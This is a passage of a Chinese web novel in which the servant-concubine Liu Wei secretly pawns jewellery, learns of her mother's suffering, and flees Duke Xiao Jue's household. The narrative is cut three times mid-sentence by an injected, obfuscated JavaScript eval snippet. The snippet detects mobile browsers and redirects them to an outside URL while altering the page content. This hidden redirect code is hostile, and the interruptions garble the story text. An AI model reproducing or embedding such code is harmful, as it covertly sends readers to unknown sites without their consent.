春雨的心思，一目了然。东良沉声道：“议议论主子，明里不行，暗里也不行。这回看在你要衣不解带地照料柳姑娘的份儿上，不追究你了。好了，你回去陪着柳姑娘吧，保持精神，别打盹儿偷懒。” 春雨应下，开门进屋。 东良眼色示意府医且行且谈，府医心照不宣，跟随。 东良道：“那头怎么样了？” 府医当然明白那头指代何处，面色凝重道：“手指头全断了，又拖了挺久，想恢复如初，是没可能了。” 萧绝处理起人事物来，一向快准狠，萧绘那左手回天乏力，属于意料之中。东良叹道：“希望这回过后，六少爷能长个记性，改邪归正吧。” 府医赞成附和。 这一宿，柳薇置身水深火热中，堕入重重梦境中，光怪陆离，浑浑噩噩，难以自拔。 她往前十七年的人生，并不安逸，乃至沉痛。那些痛苦与压抑，白日骚扰她的思想，夜晚则潜入她的梦境，恐吓她，折磨她，无休无止。 做噩梦，她习以为常。然，梦到萧绝，竟是头一次—— “我不喜欢不诚实的人。” “做我的人，必须忠贞不二。” …… “有朝一日，你若敢背叛我，我会杀了你。” “柳薇，我会杀了你。” …… “不要！”柳薇睁眼惊叫，引得春雨急急忙忙前来查看：“姑娘，你醒了？” 视野堪堪清晰：天光下，春雨托着一个碗，碗里装着黑乎乎的药汤，佝着上半身，满眼惊喜地俯视下来。 乍见天光，眼睛略微不适，柳薇抬手臂遮住眼前，口气迟钝：“我这是……怎么了？” 春雨道：“姑娘发烧了，躺了一夜，又是说梦话又是流眼泪的，听得我心里也难受。” 经春雨说明，柳薇方才感觉脑门上覆着块湿手巾。于是自己取下来，试一试额头的温度。 春雨也伸手试探，庆幸道：“可算不烧了。”然后搀扶她靠坐在床头，又抓了个枕头垫在腰后，用汤匙舀了药汤喂至她嘴边。 柳薇不习惯享受别人的伺候，坚持自己端碗饮用。小半碗浓汤下肚，口齿发苦，却远不及心中之苦。 伴萧绝如伴虎，萧绘就是前车之鉴。 对待亲弟弟，他尚且可以毫无顾忌，而她一个召之即来挥之即去的玩物，昨日能够死里逃生，不过是她所言属实，加上运气好；再有一次，可难保如何了。 国公府是当之无愧的龙潭虎穴，再淹留下去，定然越陷越深、朝不保夕。 她的命贱，但也是命，决不能由他人任意摆布。 瞧她表情沉重，春雨便问：“姑娘在想什么？” 柳薇回神，隐下忧思，道：“我在想，我这一病，肯定耽误了不少事吧？不知国公爷那儿怪罪了没有……” 春雨知无不言：“今儿早晨我扫院子，国公爷从房里出来，让我认真照料姑娘的病。由此可见，国公爷是关心姑娘的，自然不会怪罪姑娘。姑娘且宽心吧。” 柳薇哑然片刻，点头无话。 然而春雨神秘兮兮道：“早晨还发生了一桩事：韩大管家提着春菱，就是六少爷那个通房，上外院打了板子，足足四十板子呢！据说，现场一地的血，打没了半条命……想想都瘆人！” 柳薇首先在意那四十大板，她可是过来人，感同身受；其次在意春菱犯了什么错，沦落到被东良押着受那等重罚，因而问春雨知不知情。 春雨耸肩摊手：“为什么，谁也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17156175|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没说，大概只有韩大管家晓得了。不过，春菱平常拜高踩低的，并不是个善类，有今日的结果，自作自受罢了。” 当初，柳薇吃了四十大板的重刑，众人口径一致，也说她自作自受。忆及往事，柳薇不是滋味，牵强一笑：“你扶我起来，我洗把脸醒一醒神。” 话音一落，杨嬷嬷匆匆而来。柳薇一时惊讶，却不忘欠身相迎。 “你身上不好，不要乱动。”杨嬷嬷阻止她动弹，顺势坐在床边，拧眉观察她的脸色，“昨儿还好好的，一晚就憔悴得这样……到底是怎么弄的？” 萧绝对外封锁消息，柳薇便乖乖配合他，不与杨嬷嬷说道，遮掩应付：“是我疏忽，吹了冷风，发了烧。现在烧退了，不打紧了，嬷嬷不用担心。” 杨嬷嬷安抚道：“你身子骨虚，病一回，很是吃不消的，以后千万保重。” “是，经过这一次，我再也不敢马虎了。”柳薇笑笑，“话说，嬷嬷怎么想起来看我了？”主要是凝晖院规矩森严，一般不放外人进入，那杨嬷嬷是怎么进来的？ 杨嬷嬷笑道：“嗐！这不是家里媳妇病倒了，孙子孙女无人照应，我就和管事的告了几天的假，回家带孩子看家。正好……” 杨嬷嬷瞥向春雨，面上依稀浮现出一层为难之色。柳薇心领意会，随便找个由头支开春雨。 杨嬷嬷这才坦白：“正好你昨天托我打听你母亲，我回去一准安排给我儿子，争取再回来时带点有用的信儿。这事重要，我想着过来知会你一声，就征求了韩大管家的许可，所以有机会到这凝晖院走一遭，见见世面。” 柳薇握住杨嬷嬷的手，微微哽咽道：“嬷嬷的大恩大德，我一辈子记着。” 杨嬷嬷少不得温言安慰她。 难得一聚，同时可能是最后一次相聚，柳薇的话格外密，也格外伤感。杨嬷嬷不知原委，觉得这孩子大抵是生病，人一病就容易多愁善感，当场便没深思，只伴着她，家长里短地闲聊。有大半个时辰，才背上包袱告辞往城西家去。 一路上，又止不住回想刚刚和柳薇的对话，总觉得怪怪的：只是帮忙打听一下她母亲的近况，何至于口口声声的大恩大德，还一辈子不忘？就好像是再也见不上了一样。 想到这里，杨嬷嬷笑出声，感慨自己真是老糊涂了，人小柳刚得了国公爷青眼，好日子才开了个头，什么再也见不上，净是自己没边没际的胡思乱想。 18. 第十八章 是夜，春雨去煎药，柳薇则趁此空隙，下地打开衣柜，清点自己的家当——不足三十两。幸运的话，勉勉强强只够给自己赎身的。 但是，萧绝才敲打过她要对他忠心耿耿，定不会轻易放过她的。所以，她想自由，唯一个选择：不要提赎身，只管背着他偷偷地溜走，再直奔钱员外家，赎出母亲，离开京城，永远不回来。 如此设想，终归还是回到了腰包空虚的问题上。 柳薇掩上柜门，坐在床边，陷入沉思：非要提前实施计划的话，并不是山穷水尽，可以把萧绝下令添置的那些个首饰，挑几样贵重的，变卖了；然而棘手就棘手在，需要亲去当铺典当物件，她恰恰无法出去。 思及此处，柳薇扶额，十分灰心落寞。 春雨捧药进屋道：“姑娘，该喝药了。” 怕春雨疑心多问，柳薇尽力收起颓丧，接药慢饮。 药很苦，春雨特意备了蜜饯，等她喝光，递与她。 柳薇欣然接受，放入口中解苦。 春雨道：“刚刚韩大管家说了，近几天国公爷不回来住，姑娘可以踏踏实实地歇养。” 好几天都不回来？柳薇心下一动，道：“那韩大哥有没有说国公爷是为什么事绊住了脚？” 春雨道：“提了一嘴，好像是春闱的缘故。” 朝政俱在萧绝肩上担着，春闱那等大事，是得他主持安排一应事项。柳薇了然，不再作声。 一日午后，萧瑶来凝晖院，直入厢房，漫漫睃了一圈，倚在椅子上，笑说：“看着比我那屋子还宽敞点，该有的也都有，真不赖。” 春雨适时上茶。萧瑶指着春雨，继续打趣：“还配了人服侍，看来五哥待你蛮上心的嘛。” 柳薇回笑道：“是，我能安身立命，全仰仗国公爷，我自是感激不尽。” 萧瑶敲敲茶杯，道：“我听说了，五哥最近又不回来，你也没事做，不如陪我去凝香馆逛逛，那里又上了一批新货。” 柳薇道：“三姑娘为何不请二姑娘作陪呢？” 萧瑶道：“我二姐不爱花花粉粉的，拉上她，太扫兴了。倒是你，虽然也不一定了解多少，但我和你挺投缘的，乐意带上你。” 正愁没由头出门呢，萧瑶就抛来橄榄枝了。柳薇藏好柳暗花明又一村的激动，故作为难：“国公爷不在家，我这个身份，恐怕不太适合抛头露面的……” 萧瑶反问：“五哥给你规定了不许上外边？” “那倒没有。” 萧瑶拍手道：“那不就成了？五哥既没约束你，那我叫你一起出去，有什么问题？” “可是……”柳薇别一别鬓间碎发，顾虑重重，“国公爷知道了，一旦不高兴，责怪下来，我肯定担待不起的。” “你不用扭扭捏捏的，我早有打算。”萧瑶扭头冲窗外一唤。东良正站在院子里看几个小厮搬花盆，闻声，走去窗下。萧瑶推开窗，与东良面对面：“我呢，待会要去凝香馆，让柳姑娘陪我一道。你看如何？” 东良第一时间关切柳薇的身体状况：“柳姑娘仍在病中，似乎不大方便吧？” 柳薇腼腆一笑：“已经好了，不影响的。” 东良稍加思量，道：“柳姑娘自己方便了，那随三姑娘去一趟也无妨。只是出门在外，人多眼杂，柳姑娘记得以帷帽覆住头脸。” 萧瑶替柳薇接话：“那是当然，我事先都给她准备妥了，就在马车里。过会戴上，保管严实不外露，不给外人惦记的机会。” 东良失笑：“三姑娘年纪不大，为国公爷思虑的心却周密。” 萧瑶有几分得意：“五哥对我好，我也对五哥好，互相的。” 阳光灿烂时，萧瑶携柳薇步入马车。车轮滚动，驶上朱雀大街。 车内，萧瑶留意柳薇头上空空、手上空空，扁着嘴巴说：“好赖和我出来，你也打扮一下，干嘛那么素？” 柳薇低眉垂眸道：“本来就是陪三姑娘的，没人在意我，费那心思做什么。” 柳薇低眉顺眼，除了习惯性的卑微，更多的是紧张导致——她左手心握着右手肘，不敢有大动作，生恐右边的衣袖里藏着一对翡翠镯子、一副羊脂玉耳坠掉出来。这两样东西是她临出门前偷偷从首饰箱子里翻出来的，又避人耳目地袖了出来，伺机而动。 老天爷终于眷顾了柳薇一次，凝香馆隔壁就是家当铺。 柳薇揣好物品，不动声色随萧瑶下车，见对面有卖糖炒栗子的，便摸着肚子说说：“我中午没太吃饱，有点饿了，想去称些炒栗子垫一垫。三姑娘，你吃不吃？我给你也带一份。” 萧瑶道：“吃。不过这点小事，让香坠儿去就好了，不用你亲自去。” 她贴身侍女香坠儿掏出钱袋子，准备过去。柳薇上前一步，笑道：“还是我过去吧，不差这一会。三姑娘先进去吧，我很快就来。” “我在二楼，你买好了直接上二楼找我。”萧瑶没坚持，也没起疑，领香坠儿踏入凝香馆。 柳薇旋即去买下两份的炒栗子，提着迈入当铺，将镯子耳坠摆在柜台上，直奔主题：“这几样，能值多少钱？” 伙计端详一顿，细说成色质地如何，最终必出五根手指头：“加起来五十两白银。” 柳薇蹙起眉头：“五十？” 伙计笑了笑：“姑娘可是嫌少？这不是我坑你，你去别的地方打听打听，大差不差就是这个价钱。” 看柳薇依然犹豫，伙计推出两张当票，道：“究竟当不当，姑娘自己考虑。考虑清楚要当，就把当票填了，我这边就准备银子。” 又来了人，柳薇忙兜起自己的东西，挪去一旁，反复权衡。她不是玉石方面的行家，讲不出道理来和当铺理论，即便懂行，也没时间和人争辩。 她回望门外。萧瑶还在凝香馆等着，务必尽快下决心。 罢了，大不了再忍耐些时日，多出来几趟钱就凑足了。 “那个，我决定了，五十两就五十两。”看准后来那个人捏着当票银票离开，柳薇又站回去，“但折成的银子，得麻烦你帮我分成几份：二两的五张，五两的两张，十两的三张。” 伙计微微笑了下：“总共就五十两，分得这么细碎，姑娘也不好拿啊。” 柳薇提笔填写当票，头也没抬：“这就你别问了，我总归拿得走的。” 为何分那般零碎，她自有主张：既然决定带阿娘远走高飞，必然有使钱的时候，什么雇车马、吃饭住宿的，使的都是小钱，碎银子带多了又沉又占地方，还是小额的银票更轻便。 话不投机半句多，伙计没搭腔，回头依她的要求，取出银票。一手交钱，一手交货。 柳薇点清银票，同当票妥帖收入袖中，疾步回凝香馆跟萧瑶会合。 萧瑶已大包小包拎了满手，单等柳薇上来由她选自己中意的。“你再不露面，我该叫香坠儿寻你了。你看看喜欢什么，我买了赠你，总不能叫你白陪我一场。” 柳薇分了炒栗子，赔笑道：“前几天国公爷赏的，我都用不过来呢，不用三姑娘破费了。” “真不爽快。得了，我看着办吧。”萧瑶慷慨大度，不理她，自个儿拣了几种胭脂水粉，结账包好塞给她，打道回府。 杨嬷嬷这一去，第八天黄昏才回。彼时，萧绝仍在朝中忙碌，因而柳薇行动自如，能够及时接引杨嬷嬷。 杨嬷嬷风尘仆仆，柳薇细心，先给倒了水，也不急于询问，安安静静等杨嬷嬷饮尽一杯水，主动诉说：“这一趟，出乎意料地顺利，我把情况和我儿子摊开后的第三天，他就有了眉目了。”杨嬷嬷看一眼柳薇，满怀怜悯，“唉……你娘和你一样，是个可怜人。” 听其口风，柳薇心里一沉，攥紧了手：“我娘……怎么了？” 杨嬷嬷斟酌半日，娓娓道来：“那钱员外不是个好货，花大价钱笼你母亲到身边，而你母亲是个刚强的，宁肯死也不让碰一根手指头。起先，钱员外新鲜，有耐心，软和着哄你母亲愿意，可屡次没得逞，脾气上来了，就改作硬的，你母亲更来硬的，要以死明志，撞上了柱子……” 柳薇捂着嘴，潸然泪下，讷讷道：“那我娘……” 杨嬷嬷拍拍她肩膀，道：“幸好有人拦着， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17176098|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没出人命。” 柳薇放下手，再三确认：“我娘还活着，是吗？” 杨嬷嬷道：“活着呢，但是日子比之前更艰难了。收服不了你母亲，钱员外恼羞成怒，把你母亲发配下房，做最脏最累的活儿。听说饭也吃不饱，病了也没人管，全凭自己捱……太苦了。” 母女连心，柳薇感觉心如针扎，一手按心口，一手掩脸，泪如泉涌：“娘……” 杨嬷嬷亦伤感不已，轻轻揽住柳薇消瘦的肩膀，道：“那钱员外就是个老畜生，把你母亲逼得过不下去，现在又买了个人，竟和你差不多年岁！八十的老头子糟蹋十八的小姑娘，老天有眼，怎么还不降下一道雷，劈死这个老祸害！” 柳薇的心胸狭小，只容得下母亲一人，他人处境如何，她无力关怀。她回抱住杨嬷嬷，窝在对方怀中啜泣不休。 这一哭，哭了好久，久到她昏昏睡去。 再度清醒，窗外夜色苍茫。春雨在床铺上侧卧而眠，口微张，鼾声细细。柳薇悄声起床，摸黑开了衣柜，端出存放全部家当的盒子，把里衣内贴身藏着的五十两银票放进去，然后捧着它躺回被窝，聆听着自己幽微的心跳声，合上眼眸。 二月二，龙抬头，萧瑶邀请柳薇上朱雀大街赏花灯。柳薇故技重施，顺几样饰品怡然应约。 朱雀大街上，设有一座长安楼，乃京城一高。居于此，可俯瞰恢宏城池。 华灯初上，小皇帝率领群臣，登上长安楼，纵目眺望辉煌盛景，并问起本月春闱的各项准备工作是否完善。 萧绝全权负责这一任务，向小皇帝浅浅一低眉，道事事已妥当。 小皇帝谦虚道：“萧大人辛苦。待试后，朕设宴款待萧大人。” 萧绝道：“那臣提前谢过陛下厚待之恩了。” 小皇帝道：“萧大人为朕之师，不必言谢。” 楼内，宴席就绪，小皇帝邀群臣入座开宴。唯独萧绝慢人一步，负手伫立，凭栏鸟瞰。 成王入席拿了杯酒，漫步出来，同萧绝并肩而立。 萧绝侧目道：“此地风大，王爷要吃酒，还是回里面的好，以免酒里落了灰尘。” 成王侧身，摇晃着酒樽，嬉皮笑脸道：“你这么个洁净人且站在这吹风吃沙子，我又没你那么讲究，我怕什么？” 萧绝移走视线，不咸不淡道：“王爷不介意，那自便就是。” 成王仰脖子灌一口酒，险些喷出口：“你这乌鸦嘴，真让你说着了，酒里真进了沙子。” 萧绝往一侧让一步，隐含嫌弃道：“臣早提醒过王爷，是王爷听不进去罢了。” “我没有弄你衣服上，你大可不必躲那么远。”成王将酒朝空中潇洒一泼，斜倚着栏杆，不意和一人遥遥对上目光，“哎呦，你瞧，底下穿绿衣裳那姑娘，是不是你新纳的妾？” 不消他指点，萧绝已经注意到了。他闲闲道：“王爷只见过她一面，便一眼认了出来。王爷的记性见长啊。” 成王道：“能把敬和气得绿了脸的人，我想没印象也说不过去吧？” 萧绝道：“王爷这是想为公主问罪么？” 成王左手撑脸，笑道：“那是你们俩的事，我才不上赶着和稀泥呢。我只是意外，鼎鼎有名的萧大人，也有对一个女人另眼相看的时候。” 万家灯火中，那抹清影驻足于一处灯笼摊前，五指成拳，时而举目仰望长安楼，又迅速低头，极其鬼鬼祟祟。 “闲暇之余，偶尔看人窘迫，权当消遣了。”萧绝转身，信步回席。 “看人窘迫，供己消遣？还真是个恶劣的家伙呢。”成王挑眉嗤笑，紧随其后。 高楼之上，终于空无一人，柳薇如释重负，可以专心陪伴萧瑶选择花灯。 萧瑶拢共买了两个灯笼，给自己的是八仙过海彩绘宫灯，赠予柳薇的金鱼吐水彩绘宫灯。 萧瑶眉眼弯弯道：“提着走路，又好看又亮堂。走，再去前面逛逛。” 脱离他人操控的前路，必然是又好看又亮堂的吧。柳薇胸怀憧憬，提灯相随，灯影映在脚下，每一步路均走得轻巧松快。 19. 第十九章 春闱期间，萧绝神龙不见首尾，给足了柳薇谋划的空间。 二月二游灯会那次，她又凑了五十两，现在手头上共有一百三十两。为神不知鬼不觉地离开，她也不准备赎自己的卖身契了，因而仅需要拿出赎阿娘的一百两，剩的三十两，省着花，足够支应一路上的开销。 归根结底，当下她要做的，便是规划清楚出逃的路线，以及顺利出去后的种种事项。 这点倒不难。 本月中旬，二老爷二夫人连着过生日，定然摆宴庆祝个两三日，届时众人围去二房捧场，防守自然薄弱，有她钻空子的时候。至于走哪条路出去，凝晖院单独向西开辟了侧门，直通外界，本意是方便萧绝出入。到时或是编个理由，或是支开守门的，但凡跨出那道门，便迎来了自由。 再需要考量的，则是溜出去以后，如何迅速去城西同钱家人周旋了。这也好办，兜里有钱，附近若有车行，雇辆马车行路；若没有，街上必有贩夫走卒拉车过往，给出合适的价钱，指定有人顺路，愿意稍她一程。 前前后后想定了，柳薇开始掰着指头过日子，一面勤谨着去探望杨嬷嬷，一面等待月中二房操办生日宴。 十五日傍晚，众考生出贡院，各回各家，静候半月后放榜。萧绝不管春闱阅卷，是以对他而言，他接下来可以松闲一阵子了。 当晚，萧绝在吏部同下属用晚膳。吏部侍郎堆笑起身敬酒：“这些日子，大人身先士卒，留守衙门，实在辛苦。下官敬您一杯。” 萧绝倒了杯茶，淡淡道：“我不善饮酒，以茶代酒吧。” 吏部侍郎尴尬挠头：“哎呀，瞧下官这脑筋，忘了大人不怎么沾酒了……该罚。下官自罚一杯。” 拍马屁没拍对，吏部侍郎再没脸出头，坐下安静吃菜。 彼时，成王摇着扇子走进来，嗅一嗅，眉开眼笑道：“老远就闻见香味了，是这里没错了。” 众官员起立拱手见礼。 成王平易近人道：“不用多礼，快坐快坐。我一早耳闻你们吏部的厨子厨艺一流，馋得其他衙门的人都跑来你们这蹭饭。有如此可口的饭菜，我当然不能错过，今儿闻着味就来了。” 闻言，众人纷纷让座。成王偏坐到萧绝对面，和在座笑言：“瞅瞅，我过来蹭顿饭，你们萧大人就一脸不待见。你们吏部多富裕，总不缺我这几口饭，说到底，就是你们萧大人抠门。” 萧绝日常不苟言笑，哪个敢对他开玩笑，也就成王敢调侃他了。大家强颜欢笑，不敢接茬儿。 萧绝放下筷子，薄薄一笑：“怪不得王爷喜欢养狗，鼻子和狗一样灵敏。” 有人送来碗筷，成王夹了块熏鸡肉细嚼慢咽，点头称赞：“味道是不错，和我府里不相上下。” 萧绝不会纵容自己的口腹之欲，总是吃到七分饱便停下，静候成王酒足饭饱，两人散步出来。 萧绝道：“王爷专程前来，大约不止是闲得慌，为了品尝吏部的饭菜吧？” 成王好笑道：“人生在世，吃喝拉撒，吃排第一，怎么到你嘴里就变成闲得慌了？罢，我确实有其他事，想问问你的看法。” 萧绝道：“臣洗耳恭听。” 成王道：“今年考生中，可出了个不得了的人。此人姓孔，单名一湛字，师承栖山先生。去年秋试，一举拔得头筹，名声大噪，近来愈演愈烈，甚至民间以此人最终能否金榜题名设下赌局，赌注日渐攀升。昨儿我也凑了个热闹，还下了个注。萧大人不妨猜猜，我赌了什么？” 夜色阑珊，萧绝神色淡淡：“不感兴趣。” 成王默然片晌，深深一笑：“我赌此人必将高中状元，此后前途不可限量。” 萧绝仍旧一派平淡：“如若此人堪为大用，于国于民，自是幸事。” “倘若当真堪为重用，定然与萧大人在朝平分秋色……”成王敛笑，注视萧绝，“萧大人也认为是一桩幸事吗？” 萧绝回视成王，笑意微不可察：“王爷今夜的话，格外多，怕是一时贪杯，醉了吧。王爷若不介意，且去前厅歇歇，让他们送碗醒酒汤，供王爷解解酒意再回贵府。” 二人沉默对视，成王率先朗笑一声，打破僵局：“是多吃了两杯，有些晕头转向了。也好，去前边坐坐，醒醒酒再走，省得骑马不稳，再摔上一跤。” 这次，萧绝的笑直达眼底：“王爷可需要臣作陪？” 成王抖开折扇，与他擦肩而过：“免了吧。你那一大家子一定眼巴巴盼你回呢，我就不做这个坏人，耽误你了。” 拱手目送成王隐入夜色后，萧绝的神情堪堪耐人寻味起来：“平分秋色么……” 明日是二夫人的生辰，近两三天府里上下各司其职。柳薇现如今镀了层萧绝侍妾的金边儿，里里外外用不得她帮忙，她尽管冷眼旁观。 明面上是冷眉冷眼，内心却澎湃雀跃，连着几日夜不能寐，连春雨也发觉她的异样，频频问候，尽被她带笑打了马虎眼。 奔走在即，今夜，柳薇抚上震荡的胸口，反复深呼吸，脑内回忆算计着自己的计划，一环接一环，这样能令她踏实不少。 “诶？”知道她不曾入睡，春雨便也没有睡意，偶然一眼，瞄见窗外有人提灯前行，直直地入了正房，“姑娘，似乎是国公爷回来了。” 思绪戛然而止，柳薇警觉，拥被坐起来，转眼观望正房的方向，果然灯火闪烁，人影游动。她困惑呢喃：“这么晚了，怎么回来了？” 春雨和她想一块去了，坐直身子，道出自己的猜测：“今日春闱结束，明儿正好又是二夫人过生日，国公爷连夜赶回，大概是不想缺席吧。” 柳薇抿嘴，口上认同，心中却焦虑更甚：本来有八成的把握，前提是萧绝因公不在家。可他回来了，要在他眼皮子底下潜逃，难如登天……这该如何是好？ 她一有心事，就爱拧衣服。眼看衣摆被拧得皱成一团之际，有人隔着窗子敲了敲：“柳姑娘，是我。国公爷现吩咐姑娘进去伺候茶水，姑娘动作快些吧。” 柳薇心乱如麻，应了一声，借着春雨点亮的灯光，穿鞋穿衣，照镜挽起发丝，步月备妥茶水，依着那句漠然的“进来”，慢步走入那方“禁地”。 “浓茶还是清茶？”摆放茶盏时，萧绝问。 柳薇指尖一顿，道：“回国公爷，是清茶。” 他素喜浓茶，应当是不满她没按他的喜好做事。将茶盏放置平稳，她退一步，解释：“您连日操劳，再吃浓茶的话，太过刺激，对身体不好。奴婢便斗胆换了清茶，既解渴，又不妨害身体……” “谁告诉你，吃茶的目的是解渴的？”她耷拉着脑袋，没得窥视他的面孔，单纯听声，他好像是笑了一下。 这笑，摆明了是又在嘲讽她愚昧。胳膊拧不过大腿，柳薇承认自己愚昧：“奴婢粗鄙，不懂茶道……那您稍候，奴婢再换一杯浓茶来。” 杯盏叮咚，萧绝托举至唇畔，浅尝辄止，道：“泡茶的水平倒是有些长进了。” 打一巴掌再一个甜枣，这人就是如此善变。 “柳薇。” 柳薇本能抬头，正见月影与光影交错间，萧绝似笑非笑地看过来：“你现在，是越发没规矩了。” 柳薇当场怔住。 “别杵那，挡着光了。” 柳薇暴红了脸，慌忙腾开地方。“奴婢不是……存心要碍您眼的。” 层层光辉，慷慨地洒在萧绝身上，衬得他冷傲挺拔、贵气逼人。他有痕迹地瞥瞥她，款款开口：“挡光不是存心，那夜晚上街抛头露面，也是无心之举了？” 意识到他所质问的是什么，柳薇忙道：“那晚，是三姑娘要求奴婢陪同的，不然奴婢怎敢去；并且，奴婢并没有乱走动，一直跟着三姑娘的。” “这么说，却是三姑娘强人所难了？”萧绝举杯，轻轻抿下半口茶水。 柳薇原有不光彩之举，萧绝又咄咄逼问，搞得她心思惶惶、冷汗直流，生怕穿帮了：“奴婢不是那个意思……” 她这个样子，和那晚长安楼下如出一辙——鬼鬼祟祟、畏畏缩缩。萧绝不觉上挑了唇线，道：“和三姑娘出门，玩得开心么？” 柳薇谨小慎微道：“三姑娘年纪虽小，但很照顾奴婢，奴婢与三姑娘一起，挺开心的。” “既然开心，为何哭丧着个脸？”萧绝转一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184176|196032||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 转茶杯。 既要变卖首饰，还要做得隐蔽，不引人察觉，她心里够忐忑的了；又仰头望见萧绝伫立高楼上，自己的一举一动，全在他目光的笼罩下，能开心起来就怪了。 柳薇正琢磨如何答复，萧绝便一语中的：“是看见我在长安楼上，倍感煎熬，怕得笑不出来？” 他这不是明知故问吗？柳薇万般忌惮他，违心道：“没有煎熬……能见到您，是奴婢的荣幸。” 这女人的讨好，极其不高明，处处透着笨拙，但萧绝竟有几分受用。“喜欢出门么？” 柳薇坦诚道：“喜欢……” 萧绝道：“嗯。过些时日新科进士夸官游街，场面盛大，可以带你见见世面。” 柳薇正意外间，萧绝说乏了，摆手命她出去。 次日清晨，宫中内侍造访，传话说入夜后，小皇帝大摆宴席招待以萧绝为首的吏部众官员，庆祝今年春闱圆满落幕。 萧绝没有他话，命人好送内侍离开，去了明心斋。刚好二老爷二夫人同在，于是一并说明今日须入宫，不得已缺席二夫人的生日宴，表以歉意。 二夫人心有不快，对外却不露任何消极之意，颇为体谅他的难处，尽显善意。 黄昏时分，柳薇目视东良二毛环绕萧绝离去，暗暗坚定了今夜卷包袱出走的心念。 二房请了戏班子唱戏，晚饭过后正式开戏。春雨顶喜欢看戏，凝晖院又没什么活儿，因央求柳薇共同过去。 柳薇道：“你先过去吧，好歹是大场合，我换件衣裳就来。” 她所说在理，春雨道：“那我帮姑娘更衣打扮吧。” 柳薇含笑推她出门：“我自己有手有脚，自己捯饬就是。倒是你，快过去吧，有一段路呢，不要误了。” 一个屋檐下朝夕相处许久，二人熟快了，私下无人时，春雨便不怎么和她客气了，点点头走开。 春雨前脚走，东良后脚经过门口，向里望了一眼，看柳薇开衣柜抱出一身衣裳，便笑问：“二老爷二夫人院里快开戏了，姑娘不过去看看吗？” 柳薇报以一笑：“准备换身衣服就去。韩大哥也要过去了吗？” 东良摇头道：“府里人杂，加上天黑了，我带几个人各处巡一巡。” 柳薇感叹道：“韩大哥真是辛苦。” 东良道：“分内之事。那姑娘慢慢儿收拾，我先去了。” 柳薇点头目送，而后把刚取出的衣裳原封不动归位，转手掏空小盒子里的零散银票，紧身存放于胸口，关柜子熄灯出门。 照原计划，她一路向西，路上果然寂寥。临近那扇侧门时，有个小厮捂着肚子趔趔趄趄过来，面色痛苦：“我吃坏了肚子，急着上茅房，麻烦姐姐帮我看一会，我马上回来！” 她衣着素朴，天色也暗，另外她在凝晖院活动地方有限，和小厮们鲜少接触，这个小厮误以为她是附近当差的粗使丫头，撂下摊子便跑了。 柳薇已然做好了忍痛拿银子贿赂他的心理预期了，孰料一切顺利得不可思议。 按捺住激动的心情，她快步迈过门槛儿，沿街走了老远，行人车马肉眼可见地多了，唯独不见雇马车的地儿。 早有准备，柳薇并不气馁，于街边站定。一连挥手拦下四驾过路车辆，或是不顺路，或是嫌麻烦。幸而等来了第五辆，是个年轻媳妇的马车，才从娘家出来，要回城西夫家；人家一打量她是个小姑娘，再听过她的请求，愿意以五百钱的报酬载她一程。 柳薇谢不离口，一上车就交出事先约定的车费，交与那媳妇的侍女。 她如此诚信，那媳妇便乐意同她搭话：“天黑了，姑娘怎么一个人出来拦车？你家里人呢？” 柳薇半真半假道：“家里人有事去了外地，我无处可去，不得不去城西投奔亲戚。” 媳妇诧异道：“看你年岁不大，你家里人就放心留你一个人？” 柳薇苦笑道：“从小就是这样过来的，习惯了。” 媳妇有分寸，不再戳她痛处。 柳薇掀开窗帘一角，目睹璀璨街景节节倒退，庆幸之余，虔诚祈祷钱家那头少点刁难，早点让她和阿娘团聚。 20. 第二十章 二房院里，面东搭了个戏台子，台上唱念做打、鼓乐喧天，台下拍手叫好、气氛高涨。 春雨站在角落，才随众人欢呼完几场，突然记起柳薇的去向，左顾右盼，全无她的身影，不禁纳闷：小半个时辰过去了，柳姑娘仍没整饬利索吗？ 春雨觉得，有必要折回去瞅瞅。因而，一路借过出来。道上遇着人，也张嘴询问见没见着柳姑娘。一波波问下来，要么说没留意，要么说没看见。 春雨益发奇怪，匆匆忙忙回来凝晖院一通找，两边厢房黑灯无人，小厨房后院，乃至茅房，都没有；不得已又去前院书房外寻觅了一圈，一无所获，倒是小厮们支招：“柳姑娘压根不会往这边来，是白费功夫。不如到杨嬷嬷那儿，她俩亲厚，兴许有个着落。” 春雨茅塞顿开，掉头就跑，迎面撞上巡逻完毕的东良。 东良皱眉刚要说教春雨不应风风火火的，春雨便抢白：“我不是故意毛毛躁躁的！是柳姑娘莫名其妙不见了，我四处没找见，没办法了打算去杨嬷嬷那里看看……” 